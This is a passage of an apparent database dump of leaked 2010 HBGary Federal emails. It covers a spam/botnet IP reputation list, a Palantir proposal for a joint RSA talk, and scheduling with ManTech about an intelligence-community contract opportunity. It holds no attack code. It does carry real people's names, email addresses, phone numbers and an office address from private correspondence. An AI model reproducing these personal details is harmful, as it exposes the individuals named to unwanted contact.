20.176.45.18\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 00:59:00 2009 GMT\r\n\r\nIP : 20.224.48.180\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 26 21:59:00 2009 GMT\r\n\r\nIP : 20.150.42.173\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 09:59:00 2009 GMT\r\n\r\nIP : 20.78.43.102\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 20.176.54.244\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 19:59:00 2009 GMT\r\n\r\nIP : 20.42.48.162\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.114.46.14\r\nConfidence : 72.891687%\r\nEvents : \r\n	Spam : Thu Jun 10 21:59:00 2010 GMT\r\n\r\nIP : 20.54.64.9\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 19:59:00 2009 GMT\r\n\r\nIP : 20.114.55.26\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.212.67.86\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 02:59:00 2009 GMT\r\n\r\nIP : 20.30.70.80\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 06:59:00 2009 GMT\r\n\r\nIP : 20.224.72.38\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 02:59:00 2009 GMT\r\n\r\nIP : 20.248.66.122\r\nConfidence : 29.679353%\r\nEvents : \r\n	Spam : Thu Mar  4 14:59:00 2010 GMT\r\n\r\nIP : 20.200.66.4\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\nIP : 20.90.74.158\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Dec  7 09:59:00 2009 GMT\r\n\r\nIP : 20.224.93.152\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.162.89.9\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.102.89.85\r\nConfidence : 65.708155%\r\nEvents : \r\n	Spam : Wed May 12 14:59:00 2010 GMT\r\n\r\nIP : 20.54.107.8\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 21 07:59:00 2009 GMT\r\n\r\nIP : 20.18.250.87\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 10:59:00 2009 GMT\r\n\r\nIP : 20.200.100.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Apr 28 18:59:00 2009 GMT\r\n\r\nIP : 20.188.114.169\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Dec  7 13:59:00 2009 GMT\r\n\r\nIP : 20.54.118.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Oct 10 22:59:00 2009 GMT\r\n\r\nIP : 20.188.118.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  9 22:59:00 2009 GMT\r\n\r\nIP : 20.200.106.112\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 24 12:59:00 2009 GMT\r\n\r\nIP : 20.114.104.86\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.66.110.181\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 23:59:00 2009 GMT\r\n\r\nIP : 20.212.119.192\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 20 05:59:00 2009 GMT\r\n\r\nIP : 20.78.114.160\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Oct  5 07:59:00 2009 GMT\r\n\r\nIP : 20.176.130.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 13 14:59:00 2009 GMT\r\n\r\nIP : 20.150.121.72\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 02:59:00 2009 GMT\r\n\r\nIP : 20.66.124.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 19:59:00 2009 GMT\r\n\r\nIP : 20.102.126.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 21 05:59:00 2009 GMT\r\n\r\nIP : 20.126.129.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 11 20:59:00 2009 GMT\r\n\r\nIP : 20.126.131.203\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 12:59:00 2009 GMT\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',11445,'aaron_hbgary_com/11445.html'),(7916,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006133.M963545P14101Q2771.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: RSA proposal','Interested?AaronFrom my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantir.com&gt;\r\nDate: June 28, 2010 6:33:04 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: RSA proposal\r\n\r\n\r\n\r\n\r\nNever got a response on this. \r\nWaddah think?\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Thursday, June 24, 2010 4:45 PM\r\nTo: &#39;Aaron Barr&#39;\r\nCc: Eli Bingham; Shreyas Vijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n \r\n\r\n·        \r\nPalantir and HBGary (and maybe SecDev) tag team\r\nan RSA speakers submission (due July 9 btw) entitled something like, “Cyber IS\r\nan Intelligence Problem, NOT an IT Problem: Redefining the Problem Set”\r\n(horrible title I know)\r\n\r\n·        \r\nThe goal here would be to take a technical\r\nproblem (maybe one of Greg’s or SecDev’s pet projects), present the technical\r\nfindings in Part I of the prezo, then flip gears in Part II to present it as an\r\nIntelligence problem (using Palantir for the presentation)\r\n\r\n·        \r\nWe need to be careful to remove all marketing\r\nlanguage from the submission as they apparently don’t take kindly to that\r\n\r\n·        \r\nWe obviously have a ton of time to do the work\r\nwhich could be split between all of us (we could even set up a hosted Palantir\r\ninstance to do the research a la Project Grey Goose)\r\n\r\n·        \r\nWe would want to play up our Intel community\r\nbona fides and your technical prowess/name brand\r\n\r\n \r\n\r\nMy 4 colleagues CCed and myself are basically all of Palantir’s\r\n“Cyber Team”.  I’ll now open this thread up for comments.  If HBGary\r\nis in we can set up a quick brainstorming session.\r\n\r\n \r\n\r\nBest,\r\n\r\nMatt\r\n\r\n \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7110,'aaron_hbgary_com/7110.html'),(7917,'2010-06-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006134.M233882P14101Q2772.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: NSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHave you heard of these guys?&nbsp;\r\nIf you go to their site, they list Zytron as parent company http://www.zytron.net/compinfo.htm\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Standart,\r\nMatthew-P65134 [mailto:Matthew.Standart@gdc4s.com] \r\nSent: Monday, June 28, 2010 3:57 PM\r\nTo: Penny Leavy-Hoglund; Bob Slapnik\r\nSubject: RE: NSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor the most part the project is\r\nbeing evaluated by Erik Graham and myself, I don&#8217;t think Rick (Wahl) has much\r\ninvolvement.&nbsp; It&#8217;s another thing that came down from GD Corporate.&nbsp;\r\nAre you guys familiar with the product from LiveSquare? (www.livesquaresecurity.com).&nbsp;\r\nThat is another appliance solution I am being hit with.&nbsp; They claim to be\r\nthe consummate anti-cyber-warfare company.\r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, June 28, 2010 3:53 PM\r\nTo: \'Bob Slapnik\'; Standart, Matthew-P65134\r\nSubject: RE: NSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, June 28, 2010 3:44 PM\r\nTo: \'Standart, Matthew-P65134\'\r\nCc: \'Penny Leavy-Hoglund\'\r\nSubject: RE: NSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n&nbsp;\r\n\r\nPlease let me know when you find\r\nout who developed it.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatt,\r\n\r\n&nbsp;\r\n\r\nAre they talking to your CISO\r\nRick Wall?&nbsp; As an FYI, we were funded by DHS and the AF (twice)&nbsp; to\r\nbuild this product.&nbsp; We had a lot of input from the DoD and intel\r\ncommunity as well as doing a TON of consulting over there.&nbsp; Do you know\r\nthe company name?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Standart, Matthew-P65134\r\n[mailto:Matthew.Standart@gdc4s.com] \r\nSent: Monday, June 28, 2010 6:28 PM\r\nTo: Bob Slapnik\r\nSubject: RE: NSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI have very limited knowledge\r\nabout it to be honest, but I just learned today that the representatives for\r\nthe product were scheduled to come out and talk to my group next\r\nThursday.&nbsp; I will still be out on vacation then so I will miss the\r\nmeeting, but I am hoping to have more information gathered from my colleagues\r\nafter then.&nbsp; It&#8217;s not an NSA project, but is something being developed and\r\ngeared towards the NSA/DoD world. \r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, June 28, 2010 3:04 PM\r\nTo: Standart, Matthew-P65134\r\nSubject: NSA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n&nbsp;\r\n\r\nPenny said you told her about an NSA project called Mercury\r\nVapor which might be similar to Digital DNA.&nbsp; Is there anybody you can\r\nrefer me to where I could learn more about it?\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\nNo virus found\r\nin this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/28/10\r\n14:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1877,'aaron_hbgary_com/1877.html'),(7918,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006134.M472012P14101Q2773.eml','\"Burnette, Donna M\" <Donna.Burnette@mantech.com>','Re: USINSCOM','After would be good, say 3 or 330?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 4:59 PM, \"Burnette, Donna M\"\r\n wrote:\r\n\r\n> Hello Mr. Barr,\r\n>\r\n> Bob\'s calendar is open on the 7th.  What time would be convenient for\r\n> you to meet with him here in the SCIF at the Falls Church office, either\r\n> before or after your meeting with Eric?\r\n>\r\n> Please let me know what works best for you and I will block it on his\r\n> calendar.\r\n>\r\n> Kind regards,\r\n> Donna\r\n>\r\n> Donna M Burnette\r\n> Executive Assistant to\r\n> Robert Frisbie, SVP Operations & Security\r\n> ManTech International Corporation\r\n> Mission, Cyber & Technology Solutions Group\r\n> 7799 Leesburg Pike\r\n> Suite 700, South Tower\r\n> Falls Church, VA 22043\r\n> P: 703.485.8009\r\n> M: 571.251.3949\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 28, 2010 11:55 AM\r\n> To: Frisbie, Robert P\r\n> Subject: Re: USINSCOM\r\n>\r\n> Yes.  I have my badge back.\r\n>\r\n> Aaron\r\n>\r\n> On Jun 28, 2010, at 11:51 AM, Frisbie, Robert P wrote:\r\n>\r\n>> In meeting with the Gaitorbait COTR today, I asked about you and Ted.\r\n>>\r\n>> Do you have tickets so we can talk in a scif?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 28, 2010 11:31 AM\r\n>> To: Frisbie, Robert P\r\n>> Subject: Re: USINSCOM\r\n>>\r\n>> Bob,\r\n>>\r\n>> I am meeting with Eric Eifert on the 7th @2pm.  Do you have some time\r\n> to\r\n>> meet that day or do you want to set something up separately?  Based on\r\n>> the limited information I have received I definitely want to\r\n> participate\r\n>> on GatorBait.  I have the attendee list from the meeting and based on\r\n> my\r\n>> knowledge of companies capabilities and exposure to this customer I\r\n>> think ManTech, Mandiant, GD are in the best positions with this\r\n> customer\r\n>> but might be missing 1 or 2.  This customer knows HBGary (mostly\r\n> because\r\n>> Ted and I introduced them as a subcontractor) but the exposure is\r\n>> limited, however I think we could add significant value.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:\r\n>>\r\n>>> Turns out that I have some classified capabilities very close to what\r\n>>> you did in Colorado lab.\r\n>>>\r\n>>> We also have a opportunity called GaitorBait that may be something we\r\n>>> should talk about.\r\n>>>\r\n>>> Interested?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Thursday, June 24, 2010 9:27 AM\r\n>>> To: Frisbie, Robert P\r\n>>> Subject: USINSCOM\r\n>>>\r\n>>> Hi Bob,\r\n>>>\r\n>>> I have a meeting on Friday with the Chief of the Red Team and Blue\r\n>> Team\r\n>>> at INSCOM as a result of a briefing I did at NSA last week on New\r\n>> Media.\r\n>>> Turns out there is significant anxiety in DoD since a new directive\r\n>> was\r\n>>> signed a few months ago authorizing access to social/new media on\r\n>> .mil.\r\n>>> I am going to be talking to them about Incident Response, New Media\r\n>> and\r\n>>> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any work\r\n>> in\r\n>>> that area again yet, but thought this might be of interest.\r\n>>>\r\n>>> I am starting to work on a curriculum to provide training to\r\n>>> organizations on new media familiarization, concerns, processes to\r\n>>> improve protection, etc.  Also looking into what type of solutions we\r\n>>> can build to help organizations.  New Media is something I know a\r\n>> little\r\n>>> about. ;)\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',3835,'aaron_hbgary_com/3835.html'),(7919,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006134.M668401P14101Q2774.eml','\"Frisbie, Robert P\" <Robert.Frisbie@mantech.com>','Re: USINSCOM','Did that particular COTR even know of us?  Look forward to getting\r\ntogether on the 7th.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 11:51 AM, \"Frisbie, Robert P\"\r\n wrote:\r\n\r\n> In meeting with the Gaitorbait COTR today, I asked about you and Ted.\r\n>\r\n> Do you have tickets so we can talk in a scif?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 28, 2010 11:31 AM\r\n> To: Frisbie, Robert P\r\n> Subject: Re: USINSCOM\r\n>\r\n> Bob,\r\n>\r\n> I am meeting with Eric Eifert on the 7th @2pm.  Do you have some time to\r\n> meet that day or do you want to set something up separately?  Based on\r\n> the limited information I have received I definitely want to participate\r\n> on GatorBait.  I have the attendee list from the meeting and based on my\r\n> knowledge of companies capabilities and exposure to this customer I\r\n> think ManTech, Mandiant, GD are in the best positions with this customer\r\n> but might be missing 1 or 2.  This customer knows HBGary (mostly because\r\n> Ted and I introduced them as a subcontractor) but the exposure is\r\n> limited, however I think we could add significant value.\r\n>\r\n> Aaron\r\n>\r\n> On Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:\r\n>\r\n>> Turns out that I have some classified capabilities very close to what\r\n>> you did in Colorado lab.\r\n>>\r\n>> We also have a opportunity called GaitorBait that may be something we\r\n>> should talk about.\r\n>>\r\n>> Interested?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, June 24, 2010 9:27 AM\r\n>> To: Frisbie, Robert P\r\n>> Subject: USINSCOM\r\n>>\r\n>> Hi Bob,\r\n>>\r\n>> I have a meeting on Friday with the Chief of the Red Team and Blue\r\n> Team\r\n>> at INSCOM as a result of a briefing I did at NSA last week on New\r\n> Media.\r\n>> Turns out there is significant anxiety in DoD since a new directive\r\n> was\r\n>> signed a few months ago authorizing access to social/new media on\r\n> .mil.\r\n>> I am going to be talking to them about Incident Response, New Media\r\n> and\r\n>> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any work\r\n> in\r\n>> that area again yet, but thought this might be of interest.\r\n>>\r\n>> I am starting to work on a curriculum to provide training to\r\n>> organizations on new media familiarization, concerns, processes to\r\n>> improve protection, etc.  Also looking into what type of solutions we\r\n>> can build to help organizations.  New Media is something I know a\r\n> little\r\n>> about. ;)\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',13101,'aaron_hbgary_com/13101.html'),(7920,'2010-06-28','\"Burnette, Donna M\" <Donna.Burnette@ManTech.com>','/aaron@hbgary.com/new/1297006134.M876828P14101Q2775.eml','aaron@hbgary.com','Re: USINSCOM','\r\n\r\n\r\n\r\n\r\nRe: USINSCOM\r\n\r\n\r\n\r\n\r\nGreat, I\'ll send a meeting request for 3:30 out in the morning. That will give you ample time without rushing, and if you finish earlier Bob will be available.\r\n\r\nHave a good evening.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Burnette, Donna M\r\nSent: Mon Jun 28 19:16:16 2010\r\nSubject: Re: USINSCOM\r\n\r\nAfter would be good, say 3 or 330?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 4:59 PM, &quot;Burnette, Donna M&quot;\r\n&lt;Donna.Burnette@ManTech.com&gt; wrote:\r\n\r\n&gt; Hello Mr. Barr,\r\n&gt;\r\n&gt; Bob\'s calendar is open on the 7th.&nbsp; What time would be convenient for\r\n&gt; you to meet with him here in the SCIF at the Falls Church office, either\r\n&gt; before or after your meeting with Eric?\r\n&gt;\r\n&gt; Please let me know what works best for you and I will block it on his\r\n&gt; calendar.\r\n&gt;\r\n&gt; Kind regards,\r\n&gt; Donna\r\n&gt;\r\n&gt; Donna M Burnette\r\n&gt; Executive Assistant to\r\n&gt; Robert Frisbie, SVP Operations &amp; Security\r\n&gt; ManTech International Corporation\r\n&gt; Mission, Cyber &amp; Technology Solutions Group\r\n&gt; 7799 Leesburg Pike\r\n&gt; Suite 700, South Tower\r\n&gt; Falls Church, VA 22043\r\n&gt; P: 703.485.8009\r\n&gt; M: 571.251.3949\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 11:55 AM\r\n&gt; To: Frisbie, Robert P\r\n&gt; Subject: Re: USINSCOM\r\n&gt;\r\n&gt; Yes.&nbsp; I have my badge back.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Jun 28, 2010, at 11:51 AM, Frisbie, Robert P wrote:\r\n&gt;\r\n&gt;&gt; In meeting with the Gaitorbait COTR today, I asked about you and Ted.\r\n&gt;&gt;\r\n&gt;&gt; Do you have tickets so we can talk in a scif?\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Monday, June 28, 2010 11:31 AM\r\n&gt;&gt; To: Frisbie, Robert P\r\n&gt;&gt; Subject: Re: USINSCOM\r\n&gt;&gt;\r\n&gt;&gt; Bob,\r\n&gt;&gt;\r\n&gt;&gt; I am meeting with Eric Eifert on the 7th @2pm.&nbsp; Do you have some time\r\n&gt; to\r\n&gt;&gt; meet that day or do you want to set something up separately?&nbsp; Based on\r\n&gt;&gt; the limited information I have received I definitely want to\r\n&gt; participate\r\n&gt;&gt; on GatorBait.&nbsp; I have the attendee list from the meeting and based on\r\n&gt; my\r\n&gt;&gt; knowledge of companies capabilities and exposure to this customer I\r\n&gt;&gt; think ManTech, Mandiant, GD are in the best positions with this\r\n&gt; customer\r\n&gt;&gt; but might be missing 1 or 2.&nbsp; This customer knows HBGary (mostly\r\n&gt; because\r\n&gt;&gt; Ted and I introduced them as a subcontractor) but the exposure is\r\n&gt;&gt; limited, however I think we could add significant value.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; On Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; Turns out that I have some classified capabilities very close to what\r\n&gt;&gt;&gt; you did in Colorado lab.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; We also have a opportunity called GaitorBait that may be something we\r\n&gt;&gt;&gt; should talk about.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Interested?\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; -----Original Message-----\r\n&gt;&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt;&gt; Sent: Thursday, June 24, 2010 9:27 AM\r\n&gt;&gt;&gt; To: Frisbie, Robert P\r\n&gt;&gt;&gt; Subject: USINSCOM\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Hi Bob,\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; I have a meeting on Friday with the Chief of the Red Team and Blue\r\n&gt;&gt; Team\r\n&gt;&gt;&gt; at INSCOM as a result of a briefing I did at NSA last week on New\r\n&gt;&gt; Media.\r\n&gt;&gt;&gt; Turns out there is significant anxiety in DoD since a new directive\r\n&gt;&gt; was\r\n&gt;&gt;&gt; signed a few months ago authorizing access to social/new media on\r\n&gt;&gt; .mil.\r\n&gt;&gt;&gt; I am going to be talking to them about Incident Response, New Media\r\n&gt;&gt; and\r\n&gt;&gt;&gt; its uses and vulnerabilities, IO.&nbsp; I wasn\'t sure if you have any work\r\n&gt;&gt; in\r\n&gt;&gt;&gt; that area again yet, but thought this might be of interest.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; I am starting to work on a curriculum to provide training to\r\n&gt;&gt;&gt; organizations on new media familiarization, concerns, processes to\r\n&gt;&gt;&gt; improve protection, etc.&nbsp; Also looking into what type of solutions we\r\n&gt;&gt;&gt; can build to help organizations.&nbsp; New Media is something I know a\r\n&gt;&gt; little\r\n&gt;&gt;&gt; about. ;)\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Aaron Barr\r\n&gt;&gt;&gt; CEO\r\n&gt;&gt;&gt; HBGary Federal Inc.\r\n&gt;&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Aaron Barr\r\n&gt;&gt; CEO\r\n&gt;&gt; HBGary Federal Inc.\r\n&gt;&gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n\r\n\r\n\r\n\r\n',1568,'aaron_hbgary_com/1568.html'),(7921,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006135.M102679P14101Q2776.eml','\"Barr Aaron\" <aaron@hbgary.com>','Federal','Not sure if I forwarded you the email, but last week Mark added the basic &quot;FEDERAL&quot; page to hbgary.com, did you see it?-- Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n',16513,'aaron_hbgary_com/16513.html'),(7922,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006136.M904515P14101Q2777.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HB Gary Latest White Paper','This time he sent me Paul&#39;s email address.  I&#39;ll give him a day or two and follow up with him.  According to Don (an old Army bud) they could use some HBGary help...Ted\r\n---------- Forwarded message ----------From: Don Mackert &lt;dmackert@raytheonvtc.com&gt;Date: Mon, Jun 28, 2010 at 5:49 PM\r\nSubject: HB Gary Latest White PaperTo: Paul Perkinson &lt;pperk@raytheonvtc.com&gt;Cc: ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPaul,\r\n\r\n\r\n\r\n            I would like to reintroduce\r\nyou to Ted Vera; here is the latest white paper from HB Gary.\r\n\r\n \r\n\r\n            I think you find this\r\ninteresting.\r\n\r\n\r\n\r\nDonald R. Mackert \r\nSenior Principal\r\nEngineer - JADOCS \r\nRaytheon Virtual\r\nTechnology Corporation \r\nTEC:\r\n703-428-7162/9004 \r\nCell:\r\n240-273-8198 \r\nEmail:\r\ndmackert@raytheonvtc.com\r\n\r\nNIPR:\r\ndonald.mackert@us.army.mil \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5684,'aaron_hbgary_com/5684.html'),(7923,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006137.M225524P14101Q2778.eml','dsi@endgames.us,dgerulski@endgames.us,chris@endgames.us,dsi@endgames.us,dgerulski@endgames.us','Sicily API','Hi,We&#39;ve found a number of systems that have events flagged as &quot;UNKNOWN&quot;, example follows below:\r\nIP : 204.128.192.3\r\nConfidence : 99.992982%\r\nEvents : \r\n	Unknown : Fri Jun 18 02:53:13 2010 GMT\r\nCan you provide an explanation of what Unknown means, ie is it a catch-all for a family of botnets?\r\nThanks,Ted\r\n\r\n',364,'aaron_hbgary_com/364.html'),(7924,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006137.M445451P14101Q2779.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Sicily API','Ted have we run the law forms ips?  We should before the beta ends.  We also owe them a wrap up of Amy recommendations.AaronFrom my iPhone\r\nOn Jun 28, 2010, at 8:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Hi,We&#39;ve found a number of systems that have events flagged as &quot;UNKNOWN&quot;, example follows below:\r\nIP : 204.128.192.3\r\nConfidence : 99.992982%\r\nEvents : \r\n	Unknown : Fri Jun 18 02:53:13 2010 GMT\r\nCan you provide an explanation of what Unknown means, ie is it a catch-all for a family of botnets?\r\nThanks,Ted\r\n\r\n\r\n',8870,'aaron_hbgary_com/8870.html'),(7925,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006137.M704643P14101Q2780.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Sicily API','What&#39;s the company name? We haven&#39;t run themOn Jun 28, 2010, at 6:26 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nTed have we run the law forms ips?  We should before the beta ends.  We also owe them a wrap up of Amy recommendations.AaronFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 8:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Hi,\r\nWe&#39;ve found a number of systems that have events flagged as &quot;UNKNOWN&quot;, example follows below:\r\nIP : 204.128.192.3\r\nConfidence : 99.992982%\r\nEvents : \r\n	Unknown : Fri Jun 18 02:53:13 2010 GMT\r\nCan you provide an explanation of what Unknown means, ie is it a catch-all for a family of botnets?\r\nThanks,Ted\r\n\r\n\r\n\r\n',551,'aaron_hbgary_com/551.html'),(7926,'2010-06-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006137.M981635P14101Q2781.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','Re: Chark is a pleasure to work with','I agree wholeheartedly with Bob.  Charles goes above and beyond to\r\nmake the hbgary customer experience as food as it can be.  Thank you\r\nCharles!\r\n\r\nOn 6/28/10, Bob Slapnik  wrote:\r\n> Everybody,\r\n>\r\n>\r\n>\r\n> I just want to put out the word that Chark does a great job in 